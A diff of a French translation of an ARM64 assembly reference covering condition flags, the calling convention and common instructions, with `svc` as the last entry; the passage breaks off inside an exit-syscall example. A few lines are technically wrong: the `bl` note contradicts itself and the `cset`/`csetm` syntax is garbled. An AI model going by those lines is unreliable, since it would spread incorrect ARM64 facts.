-- Les **flags de condition `N`**, **`Z`**, **`C`** et **`V`** : -- **`N`** signifie que l'opération a donné un résultat négatif. -- **`Z`** signifie que l'opération a donné zéro. -- **`C`** signifie que l'opération a eu un report. -- **`V`** signifie que l'opération a donné un dépassement de signe : +- Les drapeaux de condition **`N`**, **`Z`**, **`C`** et **`V`** : +- **`N`** signifie que l'opération a donné un résultat négatif +- **`Z`** signifie que l'opération a donné zéro +- **`C`** signifie que l'opération a généré une retenue (carry) +- **`V`** signifie que l'opération a produit un overflow signé : - La somme de deux nombres positifs donne un résultat négatif. - La somme de deux nombres négatifs donne un résultat positif. -- Dans la soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le résultat ne peut pas être représenté dans la plage de la taille de bit donnée. -- Évidemment, le processeur ne sait pas si l'opération est signée ou non, donc il vérifiera C et V dans les opérations et indiquera si un report s'est produit dans le cas où c'était signé ou non. +- Dans une soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou inversement), et que le résultat ne peut être représenté dans la plage de la taille en bits donnée. +- Évidemment le processeur ne sait pas si l'opération est signée ou non, donc il vérifiera C et V dans les opérations et indiquera si une retenue s'est produite selon qu'elle était signée ou non. > [!WARNING] -> Toutes les instructions ne mettent pas à jour ces flags. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font également. +> Toutes les instructions ne mettent pas à jour ces drapeaux. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font aussi. -- Le **flag de largeur de registre actuelle (`nRW`)** : Si le flag a la valeur 0, le programme s'exécutera dans l'état d'exécution AArch64 une fois repris. -- Le **Niveau d'Exception** (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0. -- Le **flag de pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas en définissant le flag SS à 1 à l'intérieur de **`SPSR_ELx`** par le biais d'une exception. Le programme exécutera un pas et émettra une exception de pas unique. -- Le **flag d'état d'exception illégale** (**`IL`**) : Il est utilisé pour marquer lorsqu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce flag est défini à 1 et le processeur déclenche une exception d'état illégal. -- Les **flags `DAIF`** : Ces flags permettent à un programme privilégié de masquer sélectivement certaines exceptions externes. -- Si **`A`** est 1, cela signifie que des **abortions asynchrones** seront déclenchées. Le **`I`** configure la réponse aux **Demandes d'Interruption Matérielles** (IRQ). et le F est lié aux **Demandes d'Interruption Rapides** (FIR). -- Les **flags de sélection de pointeur de pile** (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce changement est effectué en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0. +- Le drapeau de **largeur de registre courante (`nRW`)** : Si le drapeau vaut 0, le programme s'exécutera en état AArch64 une fois repris. +- Le **niveau d'Exception courant** (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0. +- Le drapeau de **single stepping** (**`SS`**) : Utilisé par les débogueurs pour exécuter instruction par instruction en réglant le drapeau SS à 1 dans **`SPSR_ELx`** via une exception. Le programme exécutera un pas et déclenchera une exception de single step. +- Le drapeau d'état d'**exception illégale** (**`IL`**) : Il sert à marquer quand un logiciel privilégié effectue un transfert de niveau d'exception invalide ; ce drapeau est mis à 1 et le processeur déclenche une exception d'état illégal. +- Les drapeaux **`DAIF`** : Ces drapeaux permettent à un programme privilégié de masquer sélectivement certaines exceptions externes. +- Si **`A`** vaut 1, cela signifie que les **asynchronous aborts** seront déclenchés. **`I`** configure la réponse aux **Interrupt Requests** externes (IRQs). et le **F** est lié aux **Fast Interrupt Requests** (FIRs). +- Les flags de sélection du pointeur de pile (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par ex. entre `SP_EL1` et `EL0`). Ce basculement se fait en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0. -## **Convention d'Appel (ARM64v8)** +## **Convention d'appel (ARM64v8)** -La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **si elle fait 128 bits de long**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction. +La convention d'appel ARM64 précise que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les paramètres **supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou aussi dans **`x1`** si elle fait **128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** à travers les appels de fonctions. -Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement **de sauvegarder le pointeur de cadre (`x29`)**, **de configurer** un **nouveau pointeur de cadre**, et d'**allouer de l'espace dans la pile**. L'**épilogue** implique généralement **de restaurer le pointeur de cadre sauvegardé** et **de retourner** de la fonction. +Lors de la lecture d'une fonction en assembleur, recherchez le **prologue** et l'**épilogue** de la fonction. Le **prologue** implique généralement **la sauvegarde du frame pointer (`x29`)**, **la mise en place** d'un **nouveau frame pointer**, et **l'allocation d'espace sur la pile**. L'**épilogue** implique généralement **la restauration du frame pointer sauvegardé** et le **retour** de la fonction. -### Convention d'Appel en Swift +### Convention d'appel en Swift -Swift a sa propre **convention d'appel** qui peut être trouvée dans [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift a sa propre **convention d'appel** qui peut être trouvée sur [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Instructions Courantes (ARM64v8)** +## **Instructions courantes (ARM64v8)** -Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source. +Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent aussi être utilisées à la place des registres source. - **`mov`** : **Déplacer** une valeur d'un **registre** à un autre. -- Exemple : `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`. -- **`ldr`** : **Charger** une valeur de **mémoire** dans un **registre**. -- Exemple : `ldr x0, [x1]` — Cela charge une valeur de l'emplacement mémoire pointé par `x1` dans `x0`. -- **Mode d'offset** : Un offset affectant le pointeur d'origine est indiqué, par exemple : -- `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur de x1 + 8. -- `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet du tableau x0, à la position x1 (index) \* 4. -- **Mode pré-indexé** : Cela appliquera des calculs à l'origine, obtiendra le résultat et stockera également la nouvelle origine dans l'origine. -- `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le résultat de `x1 + 8`. -- `str lr, [sp, #-4]!`, stocke le registre de lien dans sp et met à jour le registre sp. -- **Mode post-indexé** : C'est comme le précédent mais l'adresse mémoire est accédée et ensuite l'offset est calculé et stocké. -- `ldr x0, [x1], #8`, charge `x1` dans `x0` et met à jour x1 avec `x1 + 8`. -- **Adressage relatif au PC** : Dans ce cas, l'adresse à charger est calculée par rapport au registre PC. -- `ldr x1, =_start`, Cela chargera l'adresse où le symbole `_start` commence dans x1 par rapport au PC actuel. -- **`str`** : **Stocker** une valeur d'un **registre** dans **la mémoire**. -- Exemple : `str x0, [x1]` — Cela stocke la valeur dans `x0` dans l'emplacement mémoire pointé par `x1`. -- **`ldp`** : **Charger une paire de registres**. Cette instruction **charge deux registres** à partir de **localisations mémoire consécutives**. L'adresse mémoire est généralement formée en ajoutant un offset à la valeur d'un autre registre. -- Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` à partir des emplacements mémoire à `x2` et `x2 + 8`, respectivement. -- **`stp`** : **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans **des emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un offset à la valeur d'un autre registre. -- Exemple : `stp x0, x1, [sp]` — Cela stocke `x0` et `x1` dans les emplacements mémoire à `sp` et `sp + 8`, respectivement. -- `stp x0, x1, [sp, #16]!` — Cela stocke `x0` et `x1` dans les emplacements mémoire à `sp+16` et `sp + 24`, respectivement, et met à jour `sp` avec `sp+16`. -- **`add`** : **Ajouter** les valeurs de deux registres et stocker le résultat dans un registre. -- Syntaxe : add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- Exemple: `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`. +- **`ldr`** : **Charger** une valeur depuis la **mémoire** dans un **registre**. +- Exemple: `ldr x0, [x1]` — Cela charge une valeur depuis l'adresse mémoire pointée par `x1` dans `x0`. +- **Mode offset** : Un offset affectant le pointeur origine est indiqué, par exemple : +- `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur depuis x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet depuis le tableau x0, à la position x1 (index) * 4 +- **Mode pré-indexé** : Cela applique les calculs à l'origine, récupère le résultat et stocke aussi la nouvelle origine dans l'origine. +- `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le résultat de `x1 + 8` +- `str lr, [sp, #-4]!`, Stocke le link register dans sp et met à jour le registre sp +- **Mode post-indexé** : C'est comme le précédent mais l'adresse mémoire est accédée puis l'offset est calculé et stocké. +- `ldr x0, [x1], #8`, charge `x1` dans `x0` et met à jour x1 avec `x1 + 8` +- **Adresse relative au PC** : Dans ce cas l'adresse à charger est calculée relative au registre PC +- `ldr x1, =_start`, Cela chargera dans x1 l'adresse où commence le symbole `_start` par rapport au PC actuel. +- **`str`** : **Stocker** une valeur d'un **registre** dans la **mémoire**. +- Exemple: `str x0, [x1]` — Cela stocke la valeur de `x0` dans l'emplacement mémoire pointé par `x1`. +- **`ldp`** : **Load Pair of Registers**. Cette instruction **charge deux registres** depuis des **emplacements mémoire consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un offset à la valeur d'un autre registre. +- Exemple: `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` depuis les emplacements mémoire à `x2` et `x2 + 8`, respectivement. +- **`stp`** : **Store Pair of Registers**. Cette instruction **stocke deux registres** vers des **emplacements mémoire consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un offset à la valeur d'un autre registre. +- Exemple: `stp x0, x1, [sp]` — Cela stocke `x0` et `x1` aux emplacements mémoire à `sp` et `sp + 8`, respectivement. +- `stp x0, x1, [sp, #16]!` — Cela stocke `x0` et `x1` aux emplacements mémoire `sp+16` et `sp + 24`, respectivement, et met à jour `sp` avec `sp+16`. +- **`add`** : **Additionner** les valeurs de deux registres et stocker le résultat dans un registre. +- Syntaxe: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX] - Xn1 -> Destination - Xn2 -> Opérande 1 - Xn3 | #imm -> Opérande 2 (registre ou immédiat) -- \[shift #N | RRX] -> Effectuer un décalage ou appeler RRX -- Exemple : `add x0, x1, x2` — Cela additionne les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`. -- `add x5, x5, #1, lsl #12` — Cela équivaut à 4096 (un 1 décalé 12 fois) -> 1 0000 0000 0000 0000. -- **`adds`** Cela effectue un `add` et met à jour les flags. +- [shift #N | RRX] -> Effectuer un décalage ou appeler RRX +- Exemple: `add x0, x1, x2` — Cela additionne les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`. +- `add x5, x5, #1, lsl #12` — Cela équivaut à 4096 (un 1 décalé 12 fois) -> 1 0000 0000 0000 0000 +- **`adds`** : Effectue un `add` et met à jour les flags. - **`sub`** : **Soustraire** les valeurs de deux registres et stocker le résultat dans un registre. -- Vérifiez la **syntaxe `add`**. -- Exemple : `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`. -- **`subs`** C'est comme sub mais met à jour le flag. +- Voir la **syntaxe `add`**. +- Exemple: `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`. +- **`subs`** : Comme `sub` mais met à jour les flags. - **`mul`** : **Multiplier** les valeurs de **deux registres** et stocker le résultat dans un registre. -- Exemple : `mul x0, x1, x2` — Cela multiplie les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`. -- **`div`** : **Diviser** la valeur d'un registre par une autre et stocker le résultat dans un registre. -- Exemple : `div x0, x1, x2` — Cela divise la valeur dans `x1` par `x2` et stocke le résultat dans `x0`. +- Exemple: `mul x0, x1, x2` — Cela multiplie les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`. +- **`div`** : **Diviser** la valeur d'un registre par un autre et stocker le résultat dans un registre. +- Exemple: `div x0, x1, x2` — Cela divise la valeur dans `x1` par `x2` et stocke le résultat dans `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`** : -- **Décalage logique à gauche** : Ajouter des 0 à partir de la fin en déplaçant les autres bits vers l'avant (multiplier par n fois 2). -- **Décalage logique à droite** : Ajouter des 1 au début en déplaçant les autres bits vers l'arrière (diviser par n fois 2 en non signé). -- **Décalage arithmétique à droite** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit le plus significatif est un 1, **des 1 sont ajoutés** (diviser par n fois 2 en signé). -- **Rotation à droite** : Comme **`lsr`** mais tout ce qui est retiré à droite est ajouté à gauche. -- **Rotation à droite avec extension** : Comme **`ror`**, mais avec le flag de report comme le "bit le plus significatif". Donc le flag de report est déplacé vers le bit 31 et le bit retiré vers le flag de report. -- **`bfm`** : **Déplacement de Champ de Bits**, ces opérations **copient les bits `0...n`** d'une valeur et les placent dans les positions **`m..m+n`**. Le **`#s`** spécifie la **position du bit le plus à gauche** et **`#r`** le **montant de rotation à droite**. -- Déplacement de champ de bits : `BFM Xd, Xn, #r` -- Déplacement de champ de bits signé : `SBFM Xd, Xn, #r, #s` -- Déplacement de champ de bits non signé : `UBFM Xd, Xn, #r, #s` -- **Extraction et Insertion de Champ de Bits :** Copier un champ de bits d'un registre et le copier dans un autre registre. -- **`BFI X1, X2, #3, #4`** Insérer 4 bits de X2 à partir du 3ème bit de X1. -- **`BFXIL X1, X2, #3, #4`** Extraire à partir du 3ème bit de X2 quatre bits et les copier dans X1. -- **`SBFIZ X1, X2, #3, #4`** Étend le signe de 4 bits de X2 et les insère dans X1 en commençant à la position de bit 3 en mettant à zéro les bits de droite. -- **`SBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2, les étend en signe, et place le résultat dans X1. -- **`UBFIZ X1, X2, #3, #4`** Étend à zéro 4 bits de X2 et les insère dans X1 en commençant à la position de bit 3 en mettant à zéro les bits de droite. -- **`UBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2 et place le résultat étendu à zéro dans X1. -- **Étendre le Signe à X :** Étend le signe (ou ajoute juste des 0 dans la version non signée) d'une valeur pour pouvoir effectuer des opérations avec : -- **`SXTB X1, W2`** Étend le signe d'un octet **de W2 à X1** (`W2` est la moitié de `X2`) pour remplir les 64 bits. -- **`SXTH X1, W2`** Étend le signe d'un nombre de 16 bits **de W2 à X1** pour remplir les 64 bits. -- **`SXTW X1, W2`** Étend le signe d'un octet **de W2 à X1** pour remplir les 64 bits. -- **`UXTB X1, W2`** Ajoute des 0 (non signé) à un octet **de W2 à X1** pour remplir les 64 bits. +- **Logical shift left** : Ajoute des 0 à la fin en décalant les autres bits vers l'avant (multiplie par 2^n) +- **Logical shift right** : Ajoute des 0 au début en décalant les autres bits vers l'arrière (divise par 2^n en unsigned) +- **Arithmetic shift right** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit de poids fort est 1, **des 1 sont ajoutés** (divise par 2^n en signed) +- **Rotate right** : Comme **`lsr`** mais ce qui est supprimé à droite est ajouté à gauche +- **Rotate Right with Extend** : Comme **`ror`**, mais avec le flag carry comme "bit de poids fort". Ainsi le flag carry est déplacé au bit 31 et le bit supprimé va dans le flag carry. +- **`bfm`** : **Bit Field Move**, ces opérations **copient des bits `0...n`** d'une valeur et les placent aux positions **`m..m+n`**. Le **`#s`** spécifie la **position du bit le plus à gauche** et **`#r`** la **quantité de rotation à droite**. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Extraction et insertion de champs de bits :** Copier un champ de bits d'un registre et le copier dans un autre registre. +- **`BFI X1, X2, #3, #4`** Insère 4 bits de X2 à partir du bit 3 dans X1 +- **`BFXIL X1, X2, #3, #4`** Extrait à partir du bit 3 de X2 quatre bits et les copie dans X1 +- **`SBFIZ X1, X2, #3, #4`** Étend avec signe 4 bits de X2 et les insère dans X1 à partir de la position bit 3 en mettant à zéro les bits de droite +- **`SBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2, les étend avec signe, et place le résultat dans X1 +- **`UBFIZ X1, X2, #3, #4`** Étend par zéro 4 bits de X2 et les insère dans X1 à partir de la position bit 3 en mettant à zéro les bits de droite +- **`UBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2 et place le résultat étendu par zéro dans X1. +- **Sign Extend To X :** Étend le signe (ou ajoute simplement des 0 dans la version non signée) d'une valeur pour pouvoir effectuer des opérations avec elle : +- **`SXTB X1, W2`** Étend le signe d'un octet **de W2 à X1** (`W2` est la moitié de `X2`) pour remplir les 64 bits +- **`SXTH X1, W2`** Étend le signe d'un nombre 16 bits **de W2 à X1** pour remplir les 64 bits +- **`SXTW X1, W2`** Étend le signe d'un mot **de W2 à X1** pour remplir les 64 bits +- **`UXTB X1, W2`** Ajoute des 0s (unsigned) à un octet **de W2 à X1** pour remplir les 64 bits - **`extr` :** Extrait des bits d'une **paire de registres concaténés**. -- Exemple : `EXTR W3, W2, W1, #3` Cela **concaténera W1+W2** et obtiendra **du bit 3 de W2 jusqu'au bit 3 de W1** et le stockera dans W3. -- **`cmp`** : **Comparer** deux registres et définir des flags de condition. C'est un **alias de `subs`** définissant le registre de destination sur le registre zéro. Utile pour savoir si `m == n`. -- Il prend en charge la **même syntaxe que `subs`**. -- Exemple : `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et définit les flags de condition en conséquence. -- **`cmn`** : **Comparer un opérande négatif**. Dans ce cas, c'est un **alias de `adds`** et prend en charge la même syntaxe. Utile pour savoir si `m == -n`. -- **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui ne sera effectuée que si une comparaison précédente était vraie et définira spécifiquement les bits nzcv. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, saute à func. -- Cela est dû au fait que **`ccmp`** ne sera exécuté que si la **précédente `cmp` était un `NE`**, sinon les bits `nzcv` seront définis à 0 (ce qui ne satisfera pas la comparaison `blt`). -- Cela peut également être utilisé comme `ccmn` (même mais négatif, comme `cmp` vs `cmn`). -- **`tst`** : Vérifie si l'une des valeurs de la comparaison est 1 (cela fonctionne comme un ANDS sans stocker le résultat nulle part). C'est utile pour vérifier un registre avec une valeur et vérifier si l'un des bits du registre indiqué dans la valeur est 1. -- Exemple : `tst X1, #7` Vérifie si l'un des 3 derniers bits de X1 est 1. -- **`teq`** : Opération XOR en ignorant le résultat. -- **`b`** : Branche inconditionnelle. -- Exemple : `b myFunction`. -- Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (non adapté pour les appels de sous-routine qui doivent revenir). -- **`bl`** : **Branche** avec lien, utilisé pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**. -- Exemple : `bl myFunction` — Cela appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`. -- Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (non adapté pour les appels de sous-routine qui doivent revenir). -- **`blr`** : **Branche** avec Lien vers Registre, utilisé pour **appeler** une **sous-routine** où la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`. (Ceci est -- Exemple : `blr x1` — Cela appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`. -- **`ret`** : **Retour** de **sous-routine**, généralement en utilisant l'adresse dans **`x30`**. -- Exemple : `ret` — Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dans `x30`. -- **`b.`** : Branches conditionnelles. -- **`b.eq`** : **Branche si égal**, basé sur l'instruction `cmp` précédente. -- Exemple : `b.eq label` — Si l'instruction `cmp` précédente a trouvé deux valeurs égales, cela saute à `label`. -- **`b.ne`** : **Branche si non égal**. Cette instruction vérifie les flags de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle branche à une étiquette ou une adresse. -- Exemple : Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1 n'étaient pas égales, cela saute à `label`. -- **`cbz`** : **Comparer et Brancher sur Zéro**. Cette instruction compare un registre avec zéro, et si elles sont égales, elle branche à une étiquette ou une adresse. -- Exemple : `cbz x0, label` — Si la valeur dans `x0` est zéro, cela saute à `label`. -- **`cbnz`** : **Comparer et Brancher sur Non-Zéro**. Cette instruction compare un registre avec zéro, et si elles ne sont pas égales, elle branche à une étiquette ou une adresse. -- Exemple : `cbnz x0, label` — Si la valeur dans `x0` est non zéro, cela saute à `label`. -- **`tbnz`** : Tester un bit et brancher sur non zéro. -- Exemple : `tbnz x0, #8, label`. -- **`tbz`** : Tester un bit et brancher sur zéro. -- Exemple : `tbz x0, #8, label`. -- **Opérations de sélection conditionnelle** : Ce sont des opérations dont le comportement varie en fonction des bits conditionnels. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si vrai, X0 = X1, si faux, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Si vrai, Xd = Xn + 1, si faux, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Si vrai, Xd = NOT(Xn), si faux, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, si faux, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, si faux, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \, si faux, Xd = 0. +- Exemple: `EXTR W3, W2, W1, #3` Cela va **concaténer W1+W2** et obtenir **du bit 3 de W2 jusqu'au bit 3 de W1** et le stocker dans W3. +- **`cmp`** : **Comparer** deux registres et régler les flags de condition. C'est un **alias de `subs`** mettant le registre de destination au registre zéro. Utile pour savoir si `m == n`. +- Il supporte la **même syntaxe que `subs`** +- Exemple: `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et règle les flags de condition en conséquence. +- **`cmn`** : **Compare negative** opérande. Dans ce cas c'est un **alias de `adds`** et supporte la même syntaxe. Utile pour savoir si `m == -n`. +- **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui sera effectuée seulement si une comparaison précédente était vraie et qui définira spécifiquement les bits nzcv. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, sauter vers func +- Ceci parce que **`ccmp`** ne sera exécuté que si la **cmp précédente était un `NE`**, si ce n'était pas le cas les bits `nzcv` seront mis à 0 (ce qui ne satisfera pas la comparaison `blt`). +- Cela peut aussi être utilisé comme `ccmn` (même chose mais négatif, comme `cmp` vs `cmn`). +- **`tst`** : Vérifie si certains bits de la comparaison sont à 1 (fonctionne comme ANDS sans stocker le résultat nulle part). Utile pour vérifier un registre avec une valeur et tester si certains bits du registre indiqués dans la valeur sont à 1. +- Exemple: `tst X1, #7` Vérifie si l'un des 3 derniers bits de X1 est à 1 +- **`teq`** : Opération XOR en ignorant le résultat +- **`b`** : Branch inconditionnel +- Exemple: `b myFunction` +- Notez que cela ne remplit pas le link register avec l'adresse de retour (donc pas adapté pour les appels de sous-routines qui doivent retourner) +- **`bl`** : **Branch** with link, utilisé pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**. +- Exemple: `bl myFunction` — Appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`. +- Notez que cela ne remplit pas le link register avec l'adresse de retour (pas adapté pour les sous-routines qui doivent revenir) +- **`blr`** : **Branch** with Link to Register, utilisé pour **appeler** une **sous-routine** dont la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`. +- Exemple: `blr x1` — Appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`. +- **`ret`** : **Retour** d'une **sous-routine**, typiquement en utilisant l'adresse dans **`x30`**. +- Exemple: `ret` — Cela retourne de la sous-routine courante en utilisant l'adresse de retour dans `x30`. +- **`b.`** : Branch conditionnel +- **`b.eq`** : **Branch si égal**, basé sur l'instruction `cmp` précédente. +- Exemple: `b.eq label` — Si la précédente instruction `cmp` a trouvé deux valeurs égales, ceci saute à `label`. +- **`b.ne`** : **Branch si non égal**. Cette instruction vérifie les flags de condition (qui ont été réglés par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle branche vers une étiquette ou une adresse. +- Exemple: Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1` n'étaient pas égales, ceci saute à `label`. +- **`cbz`** : **Compare and Branch on Zero**. Cette instruction compare un registre avec zéro, et si égal, elle branche vers une étiquette ou adresse. +- Exemple: `cbz x0, label` — Si la valeur dans `x0` est zéro, ceci saute à `label`. +- **`cbnz`** : **Compare and Branch on Non-Zero**. Cette instruction compare un registre avec zéro, et si non égal, elle branche. +- Exemple: `cbnz x0, label` — Si la valeur dans `x0` est non-zéro, ceci saute à `label`. +- **`tbnz`** : Test bit and branch on nonzero +- Exemple: `tbnz x0, #8, label` +- **`tbz`** : Test bit and branch on zero +- Exemple: `tbz x0, #8, label` +- **Opérations de sélection conditionnelle** : Ce sont des opérations dont le comportement varie selon les bits conditionnels. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si vrai, X0 = X1, sinon X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Si vrai, Xd = Xn + 1, sinon, Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Si vrai, Xd = NOT(Xn), sinon, Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = - Xm +- `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, sinon, Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, sinon, Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \, sinon, Xd = 0 - **`adrp`** : Calculer l'**adresse de page d'un symbole** et la stocker dans un registre. -- Exemple : `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`. -- **`ldrsw`** : **Charger** une valeur **signée de 32 bits** depuis la mémoire et **l'étendre en signe à 64** bits. -- Exemple : `ldrsw x0, [x1]` — Cela charge une valeur signée de 32 bits depuis l'emplacement mémoire pointé par `x1`, l'étend en signe à 64 bits, et la stocke dans `x0`. -- **`stur`** : **Stocker une valeur de registre à un emplacement mémoire**, en utilisant un offset d'un autre registre. -- Exemple : `stur x0, [x1, #4]` — Cela stocke la valeur dans `x0` à l'adresse mémoire qui est 4 octets plus grande que l'adresse actuellement dans `x1`. -- **`svc`** : Effectuer un **appel système**. Cela signifie "Appel de Superviseur". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute à un emplacement spécifique en mémoire où se trouve le **code de gestion des appels système du noyau**. +- Exemple: `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`. +- **`ldrsw`** : **Charger** une valeur **signée 32 bits** depuis la mémoire et **l'étendre avec signe à 64 bits**. +- Exemple: `ldrsw x0, [x1]` — Cela charge une valeur 32 bits signée depuis l'adresse pointée par `x1`, l'étend à 64 bits, et la stocke dans `x0`. +- **`stur`** : **Stocker** la valeur d'un registre dans un emplacement mémoire, en utilisant un offset depuis un autre registre. +- Exemple: `stur x0, [x1, #4]` — Cela stocke la valeur de `x0` à l'adresse mémoire qui est 4 octets plus grande que l'adresse contenue dans `x1`. +- **`svc`** : Faire un **appel système**. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute vers un emplacement mémoire spécifique où le **code de gestion des appels système du noyau** est situé. -- Exemple : +- Exemple: ```armasm -mov x8, 93 ; Charger le numéro d'appel système pour quitter (93) dans le registre x8. -mov x0, 0 ; Charger le code d'état de sortie (0) 